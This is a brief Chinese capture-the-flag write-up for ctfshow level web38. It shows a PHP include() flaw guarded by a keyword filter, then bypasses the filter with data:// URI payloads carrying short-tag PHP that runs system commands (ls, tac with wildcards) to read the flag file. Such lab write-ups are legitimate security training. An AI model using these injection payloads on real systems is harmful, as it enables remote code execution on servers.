信息收集
过滤多了php和file
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
解题
更多解法参考 [ctfshow web入门] web37
我们选个最简单的。但是因为php被过滤了我们改用<?= ... ?>
,这个是<?php ... ?>
的简写
?c=data://text/plain,<?= system("ls") ?>
?c=data://text/plain,<?= system("tac fla*") ?>
也可以使用一个?
替代一个字符,绕过过滤
?c=data://text/plain,<?= system("tac ?lag.p?p") ?>
flag.php文件的第一行是<?php
,最后是不是多了个.php
啊。
web37 目录 web39